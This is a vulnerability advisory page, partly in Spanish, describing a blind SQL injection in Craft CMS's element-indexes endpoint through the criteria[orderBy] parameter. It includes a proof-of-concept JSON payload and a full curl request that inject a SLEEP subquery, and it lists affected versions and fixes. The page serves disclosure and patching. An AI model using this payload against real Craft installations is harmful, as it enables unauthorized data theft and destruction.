Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`
Summary
The element-indexes/get-elements endpoint is vulnerable to SQL Injection via the criteria[orderBy] parameter (JSON body). The application fails to sanitize this input before using it in the database query.
An attacker with Control Panel access can inject arbitrary SQL into the ORDER BY clause by omitting viewState[order] (or setting both to the same payload).
[!NOTE] The
ORDER BYclause executes per row.SLEEP(1)on 10 rows = 10s delay.
PoC
Required Permissions
- Access to the Control Panel
Steps to reproduce
- Log in to the control panel
- Navigate to any element index (e.g., Users
/admin/users, Entries, Assets, etc.) - Intercept the
POSTrequest to/index.php?p=admin/actions/element-indexes/get-elements - Modify the JSON body to the following:
{"context":"index","elementType":"craft\\elements\\User","source":"*","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}}- Send the request
- Observe a delay in the response (delay = rows × sleep time)
Alternatively, you can use the following curl (bash syntax) command (replace cookie, CSRF token, and target domain as needed):
curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'Impact
With this Blind SQLi, an attacker can:
- Exfiltrate data character-by-character.
- Modify or destroy data (drop tables, update records, alter schema).
Root Cause
The orderBy parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., (elements.id)) bypasses internal quoting mechanisms.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | craftcms/cms | >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 | 5.8.22, 4.16.18 |
Referencias
- https://github.com/craftcms/cms/security/advisories/GHSA-2453-mppf-46cj
- https://nvd.nist.gov/vuln/detail/CVE-2026-25495
- https://github.com/craftcms/cms/commit/96c60d775c644ff0a0276da52fe29e11d4cd38d2
- https://github.com/craftcms/cms
- https://github.com/craftcms/cms/releases/tag/4.16.18
- https://github.com/craftcms/cms/releases/tag/5.8.22
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-89- Plataforma
- Composer
- Paquete
craftcms/cms- Publicada
- 09.02.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-2453-mppf-46cj - CC BY 4.0
Historial de vulnerabilidades: craftcms/cms
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 127
- Primera → última
- 07.2021 08.2026
- Sin corrección
- 6
- Explotada en ataques
- 4
Distribución por gravedad
- Crítica 9
- Alta 41
- Media 65
- Baja 12
Divulgaciones por año
- 2021: 3
- 2022: 22
- 2023: 13
- 2024: 9
- 2025: 6
- 2026: 74
-
Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]` esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.